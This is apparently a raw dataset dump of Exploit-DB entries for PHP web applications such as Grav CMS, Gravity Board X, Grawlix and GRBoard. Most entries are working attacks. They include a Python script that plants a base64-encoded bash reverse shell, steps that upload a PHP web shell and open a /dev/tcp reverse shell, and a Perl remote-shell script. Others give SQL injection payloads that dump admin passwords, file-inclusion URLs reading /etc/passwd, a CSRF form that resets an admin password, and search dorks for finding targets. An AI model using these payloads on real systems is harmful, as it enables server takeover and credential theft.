deardaniel/secdata-raw huggingface dataset:
Exploit-DB #52402
Description: Grav CMS 1.7.48 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2025-08-11
Author: /bin/neko

Exploit:
# Exploit Title: Grav CMS 1.7.48 - Remote Code Execution (RCE)
# Date: 2025-08-07
# Exploit Author: binneko (https://github.com/binneko)
# Vendor Homepage: https://getgrav.org/
# Software Link: https://github.com/getgrav/grav/releases/tag/1.7.48
# Version: Grav CMS v1.7.48 / Admin Plugin v1.10.48
# Tested on: Debian 11, Apache2, PHP 7.4
# CVE: CVE-2025-50286

# Description:
Grav CMS v1.7.48 with Admin Plugin v1.10.48 is vulnerable to Authenticated Remote Code Execution (RCE)
through the "Direct Install" feature in the admin panel. An authenticated administrator can upload
a malicious plugin that contains arbitrary PHP code, which will be executed by the server upon access.

# Steps to Reproduce:

1. Start a listener on your attack machine:
   nc -lvnp 4444

2. Log in to the Grav Admin Panel as an administrator:
   https://<target>/admin

3. Navigate to:
   Tools → Direct Install

4. Upload a ZIP archive containing the following structure:

   evilplugin/
   ├── evilplugin.php        # Contains: <?php shell_exec($_GET['cmd']); ?>
   └── blueprints.yaml       # Minimal content to pass plugin validation

5. Access the uploaded plugin’s endpoint and trigger the payload:

   curl --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'" http://<target>/

6. Observe the reverse shell:

   $ nc -lvnp 4444
   Listening on 0.0.0.0 4444
   Connection received on <target-ip>
   www-data@target:/var/www/html$ whoami
   www-data

# Notes:
- Authentication is required (admin-level).
- The vulnerability exists due to insufficient validation in the plugin upload feature (`/admin/tools/direct-install`).
- Successful exploitation may result in full system compromise.

# References:
- https://github.com/getgrav/grav
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-50286

# Disclaimer:
This exploit is provided for educational and research purposes only.
Exploit-DB #49973
Description: GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated) (2)
Type: webapps
Platform: php
Date: 2021-06-09
Author: legend

Exploit:
# Exploit Title: GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated) (2)
# Original Exploit Author: Mehmet Ince 
# Vendor Homepage: https://getgrav.org
# Version: 1.10.7
# Tested on: Debian 10 
# Author: legend

#/usr/bin/python3

import requests
import sys
import re
import base64
target= "http://192.168.1.2"
#Change base64 encoded value with with below command.
#echo -ne "bash -i >& /dev/tcp/192.168.1.3/4444 0>&1" | base64 -w0 
payload=b"""/*<?php /**/
file_put_contents('/tmp/rev.sh',base64_decode('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMy80NDQ0IDA+JjE='));chmod('/tmp/rev.sh',0755);system('bash /tmp/rev.sh');
"""
s = requests.Session()
r = s.get(target+"/admin")
adminNonce = re.search(r'admin-nonce" value="(.*)"',r.text).group(1)
if adminNonce != "" :
    url = target + "/admin/tools/scheduler"
    data = "admin-nonce="+adminNonce
    data +='&task=SaveDefault&data%5bcustom_jobs%5d%5bncefs%5d%5bcommand%5d=/usr/bin/php&data%5bcustom_jobs%5d%5bncefs%5d%5bargs%5d=-r%20eval%28base64_decode%28%22'+base64.b64encode(payload).decode('utf-8')+'%22%29%29%3b&data%5bcustom_jobs%5d%5bncefs%5d%5bat%5d=%2a%20%2a%20%2a%20%2a%20%2a&data%5bcustom_jobs%5d%5bncefs%5d%5boutput%5d=&data%5bstatus%5d%5bncefs%5d=enabled&data%5bcustom_jobs%5d%5bncefs%5d%5boutput_mode%5d=append'
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    r = s.post(target+"/admin/config/scheduler",data=data,headers=headers)
Exploit-DB #1510
Description: Gravity Board X 1.1 - 'csscontent' Remote Code Execution
Type: webapps
Platform: php
Date: 2006-02-17
Author: RusH

Exploit:
#!/usr/bin/perl

## Gravity Board X v1.1 (possibly prior versions) remote code execution exploit
## (c)oded by 1dt.w0lf
## 14.08.2005
## RST/GHC
## http://rst.void.ru
## http://ghc.ru

use LWP::UserAgent;

if(@ARGV<1) { &usage; exit(0); }

$path = $ARGV[0];
header();
print "Creating shell... Please wait\n";

$gr = LWP::UserAgent->new() or die;
$res = $gr->get($path.'editcss.php?csscontent=</style><?php error_reporting(0); system($HTTP_POST_VARS[cmd]); ?>');
if($res->as_string =~ /unable to save changes/)
 {
 print "Forum unable to save changes in css template. Exploitation failed.\n";
 exit(0);
 }
print "DONE.\n";

while ()
 {
    print "Type command for execute or 'q' for exit\nGravity# ";
    while(<STDIN>)
     {
        $cmd=$_;
        chomp($cmd);
        exit() if ($cmd eq 'q');
        last;
     }
    &run($cmd);
 }

sub run()
 {
 $cmd2  = 'echo 1 && echo _START_ && ';
 $cmd2 .= $cmd;
 $cmd2 .= ' && echo _END_';
 $gr = LWP::UserAgent->new() or die;
 $res = $gr->post($path.'index.php',{"cmd" => "$cmd2"});   
 @result = split(/\n/,$res->content);
 $runned = 0;
 $on = 0;
 print "\n";
 for $res(@result)
  {
    if ($res =~ /^_END_/) { print "\n"; return 0; }
    if ($on == 1) { print "  $res\n"; }
    if ($res =~ /^_START_/) { $on = 1; $runned = 1; } 
  }
 print "Can't execute command\n" if !$runned;
 }

sub header()
{
 print "--* Gravity Board X v1.1 exploit by RST/GHC\n";
 print "--* keep it private, not for public\n";
}

sub usage()
 {
  header();
  print "usage : r57Gravity.pl [path_to_forum]\n";
  print "  e.g.: r57Gravity.pl http://127.0.0.1/forum/\n";
 }

# milw0rm.com [2006-02-17]
Exploit-DB #26111
Description: Gravity Board X 1.1 - CSS Template Unauthorized Access
Type: webapps
Platform: php
Date: 2005-08-08
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14502/info

Gravity Board X (GBX) is affected by an unauthorized access vulnerability. This issue is due to a failure in the application to perform proper access validation before granting access to privileged functions.

An attacker can exploit this vulnerability and modify an existing CSS template to include arbitrary PHP code. The attacker can then call the stored template and have the malicious PHP code executed in the context of the Web server process. This may aid the attacker in further attacks against the underlying system. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/26111.zip
Exploit-DB #26106
Description: Gravity Board X 1.1 - Login SQL Injection
Type: webapps
Platform: php
Date: 2005-08-08
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14497/info

Gravity Board X (GBX) is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

The following demonstrates login credentials sufficient to exploit this vulnerability:
login: ' or isnull(1/0) /*
[CREDENTIAL_REDACTED]
Exploit-DB #11583
Description: Gravity Board X 2.0 Beta (Public Release 3) - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-27
Author: Ctacok

Exploit:
#!/usr/bin/perl 
# Exploit Title: Gravity Board X 2.0 BETA (Public Release 3) SQL INJECTION
# Date: 26.02.2010
# Author: Ctacok
# Software Link: http://www.gravityboardx.com/
# Version: 2.0 BETA (Public Release 3)
# Tested on: Windows SP 3 
# Code : [exploit code]

use LWP::Simple;
print "\n";
print "##############################################################\n";
print "# Gravity Board X 2.0 BETA (Public Release 3) SQL INJECTION  #\n";
print "# Author: Ctacok  (Russian)                                  #\n";
print "# Blog : www.Ctacok.ru                                       #\n";
print "# Special for Antichat (forum.antichat.ru) and xakep.ru      #\n";
print "# Big Thanks to Slip :)                                      #\n";
print "# Require : Magic_quotes = Off                               #\n";
print "##############################################################\n";
if (@ARGV < 2)
{
print "\n Usage: exploit.pl [host] [path] ";
print "\n EX : exploit.pl www.localhost.com /path/ prefix \n\n";
exit;
}
$host=$ARGV[0];
$path=$ARGV[1];
$prefix=$ARGV[2];   #  PREFIX TABLES, Default: gbx
$vuln = "-2'+union+select+concat(0x3a3a3a,memberid,0x3a,email,0x3a,pw,0x3a3a3a)+from+".$prefix."_members";
$doc = get($host.$path."index.php?action=viewprofile&member_id=".$vuln."+--+");
if ($doc =~ /:::(.+):(.+):(.+):::/){
        print "\n[+] Admin id: : $1";
		print "\n[+] Admin email: $2";
		print "\n[+] Admin password: $3";
}
Exploit-DB #8350
Description: Gravity Board X 2.0 Beta - SQL Injection / (Authenticated) Code Execution
Type: webapps
Platform: php
Date: 2009-04-03
Author: brain[pillow]

Exploit:
================================================================================

Found : brain[pillow]
Dork  : "Powered By Gravity Board X v2.0 BETA"
Visit : brainpillow.cc, forum.antichat.ru, raz0r.name
Mail  : brainpillow@gmail.com

================================================================================

        SQL-injections:

/index.php?action=viewprofile&member_id=slider-loleg'+union+select+concat_ws(char(58),displayname,pw,email)+from+gbx_members+where+1='1
/index.php?action=viewboard&board_id=m0nzt3r-loleg-too'+union+select+0,concat_ws(char(58),displayname,pw,email),2+from+gbx_members+where+1='1

================================================================================

        Code exec (in admin panel):

Go:                     /index.php?action=configure
Enter Board Name:       xXx";if(isset($_GET[c]))eval($_GET[c]);#
Go:                     /index.php?ok=phpinfo();

================================================================================

# milw0rm.com [2009-04-03]
Exploit-DB #5791
Description: Gravity Board X 2.0 Beta - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-12
Author: CWH Underground

Exploit:
====================================================================
 Gravity Board X 2.0 Beta (SQL/XSS) Multiple Remote Vulnerabilities
====================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE : 12 June 2008
SITE : www.citec.us


#####################################################
APPLICATION : Gravity Board X
VERSION     : 2.0 Beta
DOWNLOAD    : http://downloads.sourceforge.net/gbx
#####################################################

+++ Remote Stored XSS Exploit +++

    When you create new thread in forum, you can inject javascript in title field.

-----
 POC
-----

[+]POST http://192.168.0.4/gbx/index.php?action=postnewsubmit&board_id=1 HTTP/1.1
[+]Host: 192.168.0.4
[+]User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14
[+]Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
[+]Accept-Language: en-us,en;q=0.5
[+]Accept-Encoding: gzip,deflate
[+]Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
[+]Keep-Alive: 300
[+]Connection: keep-alive
[+]Referer: http://127.0.0.1/gbx/index.php?action=postnew&board_id=1
[+]Cookie: PHPSESSID=507c211a3be817f7e7fcf51b3886665a
[+]Content-Type: application/x-www-form-urlencoded
[+]Content-Length: 128
[+]subject=POC+%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E&FCKeditorContents=POC+XSS+Thread&formsent=&board_id=1&submit=Post

+++ Remote SQL Injection Exploit +++

** magic_quotes_gpc = Off **

-------------
 POC Exploit
-------------

[+]http://[target]/[gbx_path]/index.php?action=getsearch&orderby=dateposted&searchquery=')/**/union/**/select/**/pw/**/from/**/gbx_members/**/where/**/memberid=1/*&byuser=&searchin=submess
[+]http://[target]/[gbx_path]/index.php?action=viewboard&board_id=1'/**/union/**/select/**/1,pw,3/**/from/**/gbx_members/*

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-12]
Exploit-DB #7344
Description: Gravity GTD 0.4.5 - Local File Inclusion / Remote Code Execution
Type: webapps
Platform: php
Date: 2008-12-04
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #####################################################
 #  [ gravity-gtd <= 0.4.5 ]  LFI/RCE Vulnerability  #
 #####################################################
 #
 # Script: An open source list manager for tracking action items according to the principles of Getting Things Done (GTD).
 #
 # Download: http://sourceforge.net/projects/gravity-gtd/
 #
 # [LFI] Vuln: http://site.com/gravity/library/setup/rpc.php?objectname=/../../../../../../../../etc/passwd%00
 # [RCE] Vuln: http://site.com/gravity/library/setup/rpc.php?objectname=Xmenu();phpinfo();die
 #     
 # Bug: ./gravity-0.4.5/library/setup/rpc.php (lines: 15-20)
 #
 # ...
 #		$objectName = $_REQUEST['objectname'];
 #
 #
 #		include  ("../objects/class.".strtolower($objectName).".php");				// LFI
 #
 #		eval ('$instance = new '.$objectName.'();');								// RCE
 # ... 	 
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-12-04]
Exploit-DB #8996
Description: Gravy Media Photo Host 1.0.8 - Local File Disclosure
Type: webapps
Platform: php
Date: 2009-06-22
Author: Lo$er

Exploit:
==================================================================
=========Gravy Media Photo Host 1.0.8 Local File Inclusion========
==================================================================

Vendor:http://www.gravy-media.com/
Download:register to download
Dork:"Powered by Gravy Media"
Discovered By:Lo$er

====Vulnerable code(forcedownload.php)====
27. $filename = $_GET['file'];

70. readfile("$filename");
====Demo====

http://www.gravy-media.com/v108/forcedownload.php?file=%2Fetc%2Fpasswd

# milw0rm.com [2009-06-22]
Exploit-DB #39084
Description: Grawlix 1.0.3 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2015-12-23
Author: Curesec Research Team

Exploit:
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    Grawlix 1.0.3
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://www.getgrawlix.com/
Vulnerability Type:  CSRF
Remote Exploitable:  Yes
Reported to vendor:  11/17/2015
Disclosed to public: 12/21/2015
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

CVSS

Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P

Description

Grawlix is a CMS for publishing comics, which is written in PHP. In version
1.0.3, it does not have CSRF protection, which means that an attacker can
perform actions for a victim, if the victim visits an attacker controlled site
while logged in.

An attacker can for example change the password of an existing admin account,
which may in turn lead to code execution via a different vulnerability in the
admin area.

3. Proof of Concept

Change admin password:


<html>
  <body>
    <form action="http://localhost/grawlix-1.0.3/grawlix-1.0.3/_admin/user.config.php" method="POST">
      <input type="hidden" name="username[1]" value="admin" />
      <input type="hidden" name="email[1]" value="admin@example.com" />
      <input type="hidden" name="password[1]" value="admin" />
      <input type="hidden" name="confirm_password[1]" value="admin" />
      <input type="hidden" name="submit" value="save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

11/17/2015 Informed Vendor about Issue (no reply)
12/10/2015 Reminded Vendor of Disclosure Date (no reply)
12/21/2015 Disclosed to public


Blog Reference:
https://blog.curesec.com/article/blog/Grawlix-103-CSRF-128.html
 
--
blog:  https://blog.curesec.com
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Romain-Rolland-Str 14-24
13089 Berlin, Germany
Exploit-DB #25538
Description: GrayCMS 1.1 - 'error.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-04-26
Author: Kold

Exploit:
source: https://www.securityfocus.com/bid/13381/info

GrayCMS is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/CMS/gcms/code/error.php?path_prefix=http://www.example.com/
Exploit-DB #7979
Description: GRBoard 1.8 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2009-02-04
Author: make0day

Exploit:
GRBoard 1.8 Remote File Inclusion Vulnerability
bY make0day@gmail.com

/*************************

GRBoard (VERSION 1.8 )is bulletin board system of Korea.
It is freely available for all platforms that supports PHP and MySQL.
But I find Remote File Inclusion vulnerability.
Here is the details:

**************************/
TEST ON VERSION GRBoard 1.8 
Download : http://sirini.net/v22/?get=grboard
/***************************
Remote File Inclusion Vulnerability

/form_mail.php

include $grboard.'/db_info.php'; //File Include

*************************/

poc:

/theme/179_squarebox_pds_list/view.php?theme=[RFI]
/theme\179_squarebox_minishop_expand\view.php?theme=[RFI]
/theme\179_squarebox_gallery_list_pds\view.php?theme=theme=[RFI]
/theme\179_squarebox_gallery_list\view.php?theme=[RFI]
/theme\179_squarebox_gallery\view.php?theme=[RFI]
/theme\179_squarebox_board_swfupload\view.php?theme=[RFI]
/theme\179_squarebox_board_expand\view.php?theme=[RFI]
/theme\179_squarebox_board_basic_with_grcode\view.php?theme=[RFI]
/theme\179_squarebox_board_basic\view.php?theme=[RFI]
/theme\179_simplebar_pds_list\view.php?theme=[RFI]
/theme\179_simplebar_notice\view.php?theme=[RFI]
/theme\179_simplebar_gallery_list_pds\view.php?theme=[RFI]
/theme\179_simplebar_gallery\view.php?theme=[RFI]
/theme\179_simplebar_basic\view.php?theme=[RFI]
/latest/sirini_gallery_latest/list.php?path=[RFI]
/include.php?grboard=[RFI]

# milw0rm.com [2009-02-04]
Exploit-DB #32118
Description: Greatclone GC Auction Platinum - 'category.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-27
Author: Hussin X

Exploit:
source: https://www.securityfocus.com/bid/30389/info

GC Auction Platinum is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/category.php?cate_id=-2+UNION+SELECT+1,concat_ws(0x3a,user_name,password),3+from+admin--
Exploit-DB #10710
Description: Green Desktiny Customer Support Helpdesk 2.3.1 - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-26
Author: kaMtiEz

Exploit:
###################################################################################
                                                                                  #
[~] Green Desktiny - Customer Support Helpdesk SQL injection vulnerability - (id) #
[~] Author	: kaMtiEz (kamzcrew@gmail.com)                                    #
[~] Homepage	: http://www.indonesiancoder.com                                  #
[~] Date	: Desember 25, 2009                                               #
                                                                                  #
###################################################################################

[ Software Information ]

[+] Vendor : http://www.greendesktiny.com/
[+] Download : -
[+] version : 2.3.1 or lower maybe also affected
[+] Vulnerability : SQL injection
[+] Dork : "Think iT"
[+] Price : $68            
[+] Location : INDONESIA - JOGJA

##################################################################################


[ HERE WE GO .. LIVE FROM JOGJA CITY ]

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/news_detail.php?id=[INDONESIANCODER]

[ Exploit ]

-666/**/union/**/select/**/666,666,666,666,666,666,666,666,666,concat_ws(0x3a,email,password),@@version,666/**/from/**/gd_staff--


===========================================================================

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry ..
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Nyak ama babe gua .. tak lupa adik gua ..
[+] sendiri dingin sepi ... tanpa sengaja menemukan celah ke 2x nya ..
[+] Dengerin Radio yach di http://antisecradio.fm manteb2 loh .. :D

[ QUOTE ]

[+] HAPPY BIRTHDAY TO DON TUKULSETO . WISH U ALL THE BEST .. KEEP MOVIN .. !
[+] merry x-mas and happy new year .. :D

[ EOF ]

[+] INDONESIANOCODER TEAM
[+] KILL -9 TEAM
Exploit-DB #14259
Description: Green Shop - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-07
Author: PrinceofHacking

Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[x] Tybe: SQL Injection Vulnerabilities
[x] Vendor: egreen.ir
[x] Script Name: Green Shop
[x] author: Ashiyane Digital Security Team
[x] Thanks To N4H
[?] Submit By PrinceofHacking ^_^
[x] Mail : Prince[dot]H4ck@gmail[dot]com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

D0rk: "egreen.ir"


Exploit:
http://site.org/index.php?pid=[SQLi]

Ex:
http://site.org/index.php?pid=77/**/Union/**/SELECT/**/Group_concat(username,0x3a,password),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/**/from/**/admins/**/--

Login Page :
http://site.org/admin/login.php


Special Tnx : All Ashiyane Members